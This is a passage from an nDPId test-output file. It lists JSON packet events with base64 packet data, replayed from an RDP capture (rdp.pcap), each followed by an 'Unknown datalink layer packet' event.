packet","thread_id":0,"packet_id":1017,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1018,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77233,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ExpHnVyLUBAf9JKUAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1018,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1019,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77346,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhh0AAfwYjUMCoAo6sEAK5DT3NDkedXIv5vRFKUBD2zjSzAAAXAwMGbwAAAAAAAAFGlpGP1FaO1R5xVQBnLgzOB40A1lFDWuRcl26EGHZA\/nwhwUvvd8fUOEGzh2vGg2+ipMmNmIB+XYTXbkoueSDNrCw9mflMyVzWtYBjjZi3GdWPUS3LO3oGkppR5YU\/MzdAiuFeIg1ezYKwdCL3DMuE8\/MYu7ZP4zYeV7AZGXSYg\/3vQOXCVr36keJRETPDiIgbFMWTfOwinMDKgYIEV1Zn5S1wD6Fah182CaPL12kleFQFin5ne\/vXlyHT5Qp5Cvo3IWdPl+zVABO3aCxIeP2V7ywqVRvdjTYRiaOYoVRI\/I5lxtn6sFI\/jrHG3sty6vuXAEyH+Hnj2ZvOU\/oZyHjrx4HL4FzzZA0NWHr5GrdLvvCn6J2CcA\/svOYTd3bETQeTaR4hrtHI\/RYXqIjT5kdnOPIybxFiwH6k\/MGqD4vm3tYz5xTTgNzOM4E9uWz7crvIzKVAfy2Ju1uYaQn\/pA5qBSxoKIWKMRkLkEfp4vSJt7uvAQux0tRIXEQ2LM2N+\/zERbIU92OgYr\/7RdIi6xXVp+WhEqItnHo6zhLfGzqjmoLc+QwCOahi+EGcIRZ6U8PAvw1BXnFvk6bPT3uGrtIkvWa3bq6g74jyoszfZpU4eTFJ5xXG3SekzoULL0C60ttmIMxd\/i+7OLU4WhrxLI2ZVwvBbTn6SzMxzGZUiI3td0wfmPNd+\/qMTgOQDvo3LGotbcbJOTdrwU6xMPDvdDccar7kHOzzBLvGbWr9pneeetesemQR9KvRzCuqLtYhVsVrDp2DgOD+ryYJ\/OJpWvuYZ9svJu3UsbnrQ6Qm3\/RQeF0LnDF1kE6FRd2bvIE6ZVzUPbFVDRHlmSCMZydj+PdVUI5iwyvFg3Jj32uJUgDNQNAz0sei2B7TGBMsK0YM2IAG2GlRBie2HvhaEzwwlArrRbnMWgO8bk0nWaaYSwzEIVFObJWQuBAE6gwdye3Y7Rkbhh2wTFTar8uFYpqBn8EM5qkka7x7v2C8iRXv8VgUyMB5jZlpIcYkFuXuTG6fT3c590+hH5PbPOSHINKmBsdEdTxSsh5dHsVdGuaRODWtmRR\/1Qdb374trO4Sl1LZZNlKBNu6brlWGM+ynKDr71DglPTL+rSX5zvupMw6XaUftPJHP+P45t82t3mOBswtqfZpFM6aLmhafEfQYmAwEJA4aGImhHce6PMNqPuEk7FLP7Wo\/sq6CUPIuNiup9JhpMk\/PllcaCir8lBF+QhMWAJkooQ5RchjT03wc4Nnk3CWGNw\/em7LJkI2NGencUyQwZHwVUcjFCIJ6Di1MXD1oyIlNJX9WJFTnLH1YE\/Su+iPYM9l2WxowUD\/bYyl9CsI9cKJ4SnzVmHmtwR9bbfe6JdhOt9ZmZrStQ\/a3WRrooselrQcaCc\/NtteG2JI6XRz\/SPPHfcqRYUd7YhJUz\/bIN7OmSMZ6k2JNMrhVqV\/93VAzVdPeXvvChDOT3ZovKRc109cvvxPG6VxyVR\/S+91ugoeBxK\/hXle56hWMMU8M9FzNLDZwUdneMmYsw79iKCeqKt0EyEyaubldiPaaohA1zS9TxWpSiEw77LEX291wAVGY8EDWtsrZsmGQRLVlQLC89egDN+f\/5RlcZBMYMGqLSjKpDq631c2j3HXm4U1P3mVL\/HJ4+QNGjOEefMxV7rNG0f3pFHnhs+ZnzGgUBpU"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1019,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1020,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77375,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhiEAAfwYmzcCoAo6sEAK5DT3NDkedYYT5vRFKUBj2zrPDAACudXJW6R5Iy3VHAEghlvHzw2vRrT2W7d2n+nyfAG1RT8LVJbplTA6qgxayzZTJUAGhGOGJJRV7HK9bTkP50cy0l5Gy\/Pw5xx9w3U3cNgN+rnVVEUgXbRy9B9aC4W21SIPGKxbEjgQBjibwjIwyYBe+VZA9MOudsvTQnrqJkGT04WKixGcQqdVOBOeg+lyzk8CZfTUe8CFgBTmhVZn4c6P2c0unSdS4eJwTvM\/W6zbmq7a+\/BiLQ411vCLU1wq1QhLQXVgvaDQxsv7Yde89IyMVAuz6r1KJreONN79QJ\/GADvFiME+t5lonWCSt\/NmaUe2F87420dk15+SFJgV+yK4QMUfxLnk6iNfiMj3vq8MoDfYSP3UR3weG9in6yZqy\/XzzidGXgEoNydJePUNaX563d6\/BlJN8waOhKUirFJg54+YH89cCNurqbpgsdyati8672OhYhdb4UPS4iyjW+KRNAKCm1mAl1KXABdc1MvKIfeSert4RhKDFr1jj"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1020,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1021,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77427,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ExpHnWL\/UBAf9IwgAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1021,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02083{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1022,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77528,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhiUAAfwYjTsCoAo6sEAK5DT3NDkedYv\/5vRFKUBD2zsGPAAAXAwMGbwAAAAAAAAFHKC4Sz92WV+7s+RwAebeCOJBn0C3YyuV86xkKGBJbrTZcHuWb1LPTv\/i0ZKs45RhfYRKUtsb7Z0BnA5wL0zMfFZo93mqflUyGAo1\/nic5ce2n7W1k3+YoQrnGvbLpKaC5+32AjdeCqlItdr7AQ2zPVJF5dS8wPjqGFW4l7RB8o4hhVSJd0FSkV3xDgV6InlchFpUNNpboq1UmTB+jvaIgGPglDK4xoJ0\/3XJIDcQ6ZIFDbKpL5LYu3SK1414jhHgB9z6+fjTtzR0vVeEfgfbkfelX\/VqWgqCdI5QsT6usm\/6LOttZQ0nhkSRa0Lr3CeSoxX5o\/x+UHUy6aykIXrQRiODqvnMXo7yfXQsNNvej85wazyneTZWShkikMA6n82cquKr8yyuifDfop7C4dEG9RViVDDsXv50PjlbSc5OkOoOX0S1l9+V7+g8pW3oAo3DFelqRhHtK4K7AZEcw09iulvjIFMUgZPiz4DEJXCwvIvO2PKZHr4Rgx1Ywim6gYnRN4fKXNN\/6D6A9pD3DBdKA3BoXJg60Qibn4ct5OdDHPDi\/\/Ez\/SdtyqWWvuQl+R6+btRxkoHIvTG6Ku9dz\/ngt8YFUDsCnsEM1AAFW7hl2KrlPiDrLNOwPRBpf4W43HUhzXUrE5ozYkcfidUIwzmY2vbbpyYpWAIzEvFjsWDeewTnEcV+1M9c4jRw6cxLRowIm6+1V2lwmhBedeShNpO4kq+\/NPAu0pEWd1x8WPsrTjAKNiJsTHVURMJ3YYwFkPUapcGkVVaSqUKpuD5yfs8\/JvZjfA3hHdcmd8AjlLX9E\/uYw8Hja\/vM1bX6hmDJmMJfbiviUWZpb48MtbsvrTUwi5C5x\/\/ekTmZhhSh3EKWdlQ0OYf3q4sn4WcQLHG4Jb8zCXNVcDHtCPJoOb3lfgPhqMZcdcxd2puGETEg8f9i4kDV+Du\/dnhJ\/5nzNOBtUhKv7NodXxUxzNJBk0KgFaUfz2OCa+oaxZNhyQlX\/ZGx3R6BX3FJlLZxk8htme5OxFgZuI7VmLE1vYxnx+PU4SLhqCzOWVUgglfrzj1zkUQWuRubLMeH5ZpJLpuZ4Z2GKp8phbB\/ddcCDdwCSdGzkY6Q4eDK9DVBydkSJl6qePR\/W0JB3Nkl\/8QrGgKQ4Hmwp9LoQ8sKH82AUNPvBaosYt\/jIN90uvOecc\/6HSL3XEpYfQQZAEDMF4weYPyO2PRNlNn\/ZrH9q3F2W2S6h2XPyOgWZbCOlRLjNdaVX7y7YopcpMHtFJ7pIzQNNVa+cj\/ELHgrKgFIOTqJ68W3OZUbFz0KONEOYNPrx0YZtuGs4PDCT1\/RQ9SYDvR+A8smrf6z4a9MD\/KkccAejr6+cov0NiVGfnr4YYU9GUVllSVk1UoqOL69ZBpb55tOZJvo7chLLX+zFply6AjElH6NyFGFVtFrEDaF\/rV2yf9068yucmR6+SPIIdE9ONevEUutRkIoYNBAY\/zS32yTkKP0GWDGMfbhGzRvQdmlS4Te2v6GpstHmvfqUCpv9wEZd6bPQPZib6Euu3kkO4GJZbktu673tK1emUQBnS3QXwXQOibKlcSh0l+64AXwq6JZqOpzPGsAT\/QlS7EBjoxhnW9zFVCUmYYyvTqvu479c3bjjBB2iOh6jBBGGR8knHIgeTYc6CmM7jyr7tnksUKDlZhuTpCZ8"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1022,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1023,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77701,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhikAAfwYmy8CoAo6sEAK5DT3NDkedZ\/j5vRFKUBj2zlReAABi\/HWO25crYUvrgbGDmwRI7xg8aq\/vZoFhtFqCDH3mb7YtKOeNJRsjyQ\/wg9f+BcGPQsgaC6m1t3W56O6EbR5iB7lTSXrBeJynm7OiWyqbsuOiB5H\/Ow9XTJwGEPUuXa4SxUM9iYTmKWPNJFWSlLTH7zn4Tm\/gLRs93auLns\/iBstSjeZ9OumBVYg+bJ7Ohy40nHIQwMprR9jhwoBlKVXJ4EEIzIxEqAYD17a8YlyiVUETSU3DV8g8UFvriuHPKNERHwNdsMRwd3By8vPqCfzFdO0p\/eQoSKnlDAC3CSJQy2Ebdtlg13t3twSoQ8GtoZhJbKgyUsnDF1ORd6Jk2ZHnUpt6cDXFiew+C0qLIEHa1xCfeyeyMV9Lw1VUEKAj8G0tWHoy9uIhahNiMJFp3JT9wlMuuzkuk0sP\/3z+5RCDZGEO2oI8wkV900Sh+zOsdRbM82Pwa3n1poIghxoL9vuCSpJ6BevcISQFsFSzGabi1Nmq80XOL8NRtf3L"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1023,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1024,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":77741,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ExpHnWlzUBAf9IWsAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1024,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1025,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":106660,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hi0AAfwYoEMCoAo6sEAK5DT3NDkedaXP5vRFKUBj2zujQAAAXAwMAMAAAAAAAAAFI8iaYv47IU2jgIyZog0HDToXP8rh1sy9kKFB7lFQ2NGjkFv\/eeNMuFQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1025,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1026,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":106709,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ExpHnWmoUBAf\/oVtAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1026,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1027,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":106735,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChhjEAAfwYoRMCoAo6sEAK5DT3NDkedaaj5vRG8UBD2XLBsAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1027,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1028,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":106802,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hjUAAfwYoDsCoAo6sEAK5DT3NDkedaaj5vRH5UBj2H8\/LAAAXAwMAMAAAAAAAAAFJXzBsIsMLnT6vr72qzAW34yRCEEC6mshg2kXA+ZcCIoX7TSIRgmeWYA=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1028,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1029,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":106840,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ExpHnWndUBAf\/oU4AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1029,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1030,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":106938,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hjkAAfwYoDcCoAo6sEAK5DT3NDkedad35vRH5UBj2H+jmAAAXAwMAMAAAAAAAAAFKVSI+hrJMZs3X0tDg8CYzxmsApSA8U8R58j6jeUSlLGzD8crvll5Y1w=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1030,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1031,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":106976,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ExpHnWoSUBAf\/oUDAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1031,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1032,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107125,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhj0AAfwYjSMCoAo6sEAK5DT3NDkedahL5vRH5UBD2H+FqAAAXAwMGbwAAAAAAAAFLcri7jOCbuPPIQBKVP4mSCH1HMmr6a1U4NFz+ATeM28L6eZVk59fAhmvjb7tjtFxUP\/jDYOuxmQJvJy\/7wajHLGH4buv0YK4d5gP\/V2SO3fnHI\/Ost3IsQWZdg6V0fhMOMpmtp8COUTaosIV\/fsDB20l7o4CUqRDNvuy9DbtYwuT7y5\/Kkrm3w32INeatcCHNN7B2KIUjjKtGTbmXkiRoxBBxLO+bEcs8ZbqGPQCmouxUN3AWtSBFrEyiq\/anWPbCAO25eg0ig2DVNwg3bzXcmmLnI+I6vynZU88EahEzSMaKl1a83kKGdVMUTgQ49Q14\/2abgaB8ngVDiw4+Jt9bSrXTYslThZIYXYqH1bJVM1bkVKEO1KhrGsNaVa94BIkQ9UuHI5p4lN6FTrmLW1A02sx+GiI1v0p1PoqvYwHJNSJrncIPkwEhESptTlmewWMfCQ3saqYhmKPyBrrQVH3mwG13GF9ObjeHMBvYVVTIAroE0EDrSV\/p63nSKOuiJqpw\/iHSc6x6Mp3gZpRzXsDirfy77gw4PcWrxEeR+xTiuX6L9MPX0jReCsEnHnO0QPfaaGyhdNo3zLYCutVIkcG2i7Im\/jaOOjkAKfHw\/V3312JCavdcARNDnLE+Hx34cqD6VL\/efPwYrb\/Iqw5s32MgTTEWeErujaFalQGRvzHJzIlxFmGI1aL3J7HYeWvhRhJWKLnqrS2ZwhuHB6XJCGpe4gAKIGE39iOX2SWU7pLK86jZuD8A6q7435qp2GgeLqhYkmtevDyHtz1veduxcrzYCprkhIVWHr4R0OSuZ1oKs3WOG\/wJBjbNVED9hZCmRnb41gjwj\/1Vhdx1zE12OiWdhgSBfRkk8Y0iu4atdeY4RqO8NXZc4LakL6n+X9WJQQ9WwMeQvkO32pWC1eYHOE6+Iw2Zq661WCbkXGOZ8d\/UMXEltZ0u7z6zPTV+vbLt2o7vILmnZSGVX2mkAxx7FBwYeQxXoIVNTnN8I7BypkHND8IrIUXCjC9CSqvZd\/r3vpRv+HoikxCOTrNd4j7T2i9yTLDIwKeyimBzg3XA6NqJvMft2DJj4tbP9f7oE31jPwNmZkmvd63VqbRDjCdfCtgUBxED0qPifyx0fcWf8ANLBAaj4HWgDP9tlS0UqrCt\/yZ0nrsTs6aKZHHzN9jrpBccnp7+oLPCb1ecyDEazKdJra5ug7Yl4N8B00U\/3uDGRoIBErhsgkWyjN6PX4RQuSDxB+A4CJ1q9kzf3\/DpgJ\/+5gsgnHtei7d5OBnczNjAdZOjWykCtPZWQuWJltmrJs1\/dzKqJ7BHoIARPAZg3Pr8oeFtS2FjWep6aE6Rv2o7KleI3vkmyTnaCEHIcbRRu4wooIj44VsrOCPVrJHLiTFEm2gKBtpwclocKb+HSpGRdD5SOtOiWb2FWlULTODKVSe\/f2tVAkBX3KLNxTNDIiBDLzTvOz0A1\/Trj7Jslw0DQelombLX2LABb3AV\/hdOsPeyG9ea65jPjJo6fVcekS3TLMon3BR1nqP3f1+BubjRnycs26Y3SMm8SQeSbo0bDYvHqtEd\/cC9BTwv4NX6zwLhrG2zDZQT\/YsEKHYsJwDyQ+mpPHadSOxSQUQzcGBOJryOUoYYo8eEpSJk4T3OXGoQFP3bWTeOE5UGsnbrdabGpxgCDo\/ivIbSW2Mo+6IN"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1032,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1033,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107241,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9ExpHnWoSUBggACDqAAAXAwMAOOAIO32NJwv4zL5rxWK4KERaZXZ16sI7C4okOMb7+mN44ylv\/TIVfFGIUKZrH\/hzl3bjSvBQIWgV"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1033,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1034,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107369,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9E1dHnW8LUBggAEz8AAAXAwMAMOAIO32NJwv519VhnarkBFqxB5bVWUndX6\/NWZjP+ov+sGWvWuErx9wmd7PZubVw2g=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1034,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00859{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1035,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107439,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhkEAAfwYmxcCoAo6sEAK5DT3NDkedbwv5vRH5UBj2H2EIAAAI961gOM0DiBteyUHN3XP4zVeBKHJJynxtHMwWAYOwjrje3MaNqMltHYIOPkbazoXhPIJZ6MNJjN1+Sr3AceTbrn8urMdlBU2IDR5q40wHvFKNiEJr4Q2cSCwSjsW3eZI5odxzCXI7SYxGi9bLu0Zyp8nUygBUlFIT0Mmoxd4BgmKPSe+YzdVhBLjK6BiM7l4heOPsHIX\/6scgVmtq6RqB7sbWRE9CMjKksNrXHM3H3n6uGjh7zMnvoRmFWv1Ze8dz1N408fZHPfKP9wr3oOmxDaWR7hSJm0hqROpfXRGnRPoqmoH0w6cRNnSMu37kCF8OyqZklXTn0WdG7a8v1OohNq9UIfsnHn+ZQPyQd8P0LvnLiQJDcJJiUe5D1Q7+amQQtt8qihsrMqbGUU4PIxBA7rEIKbAB0bqAAdicQB1fm6HOTqFqiQYvVvhofL4t6rm+9SHS8gz5jvNvxcYPTxsh2eKYNfNLWp4Lhof\/tSzhjPY6vBoJ0CkKSTL7"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1035,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02087{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1036,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107516,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhkUAAfwYjRsCoAo6sEAK5DT3NDkedcIb5vRH5UBD2H5E2AAAXAwMGbwAAAAAAAAFMkqoiToAEy2TeS+54L4Gi1m7hQB3aaPKgnSxm4vP5ZPaufHyqhQBrHcnMLkGC19mLusV5gthbqxyM82Xldyj\/88nQF\/EXTkP21+OZcOzAja6SopZgHwmzkGcOwZPd\/2++8SCK9FPRmx9JZ3xHGKIZ5PwwUd1zstpzQyTe1\/92EA5Pj1LTHWJorlODY9Hw5PDR9H+l8B\/CQe5pOIWMRa5UoCLQN6\/DoGVYOB1Y9vN9+rI3wJYBEf6d9od6aVDPrioAsqmyOCJaNeI56P7MQkrctt2zppCxna4WOfUw3JGyzLyZwoMdmZtooogZJz5c7mBdfV5hmz24ef6R0gYPUDBKKqxgA0nYJJQCSsJBZMASnB1nOerS3m5dFoS8Gp8qiI1dFRN8+ZwWTiPOjckodUhTRDS4TROmK7dsjp9NdyFvB9D27F5o6C07e59kQoitXP0zOldq8BEEuTOlVrbFos7NREGdmu0lCoA+tli9ENF04edFjCfLum6p2WY0TM+BXpNGc2jZ0F3XiTfFZeb5WG4FFbzcZwdJMomL6Z5MFvdLEjSqdD\/wK6mRPcRQVwfFyQEB5+6xzm\/G1XgfiUndYjU2zroGNoXE4jVTGtdeC+FtBl3v8xxFF6bZM8nXU6fsaREJZLcbiK+b3sbIXmD\/2kqoqbEIBfBCpwMkqkqUpioaXPZAj+iq2uu\/5\/aoCeFIcuKlbJtshkztggIbgxFxCDvxbRU0XUQQWbYWyCE45A+Y5txpv6edTWmqAQaqoeamT381Ly\/W4Cla\/U97sKO3lQ3Y6w5rRDFKYrVIzrV+2kzZqES99WJfa8cdbIqzzv\/x410CrmaeCf+XYH7pwZAaF81pfEIXHoWygaSodjq3NS3kSTImr3gcNjyJV7NkjqGz3HLBQOMSLMy25N+p6mrlJ2BEAQpcKEeBzwsCilT98opsmbjfgbPaDkUM55FycgFYgWxkBJ8aBl86SkUbCMScXCMap6XNfR94fcK4MJ6VmuLQd1\/c8YmGvMceWNGhj\/wDQswn1A4lqFfmZ9KxBS0FdDa6Kw\/9rSb0dyO0GIm7fhPGFt4kYkhoZ3zccUu5ZTzp5\/3TZ+koG\/TCAuBXm5xz2nacJcgjoro+AILUgk0iDXwAd4fn1G+pVAd8B+Gw9KNOO6pC49iZ\/BFj6K7H7k+xqlLhHJ5juQLAFy28z6daz2QczD+kNk8+KRipdoYhuQ5UhpJ9+mVXveC41Sv9SsQH4o+fCSprSO\/tQk5NfGsYISA27zK4nfSc4IRONV0+Sf4G4wxDB4GwUQZ8OHhErznt9Fz\/V0b7terIF6q3KpsZuT\/2m7uv7pNKBk757uXv5jYBVjwtJddCUxwd4BQNgCej8W1EmTPbKTNoUATFgSpE2UrhoPKc2nvw0fB\/x9Y4pYcQyPWNBN7X\/q8P\/yr1ds3gc8ZmjjAihZunILOklCw21hQQWxSqTW1FEZyoq82+OOpjnW4UUJdpmw\/kvjmFO\/4iFIHMZw9d9xGs5TanzSLGfAc2lXe1P+hr6m27\/H5zJvG1ofZbODEw3XqBMac\/ec3ObnWcOnryk3ETFfG4pG31jnrqP63QvWwhNdz67IMIKkDbo\/bwIAe4Gdcx4PHBRXETbdhlLE\/l\/\/g0c3cj\/k\/D60bl6wxnL6XkbZCtlioP8jggW2uuJHM6dG9v48nzdf7M"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1036,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1037,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":107537,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9E4xHnXCGUBAf9H4nAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 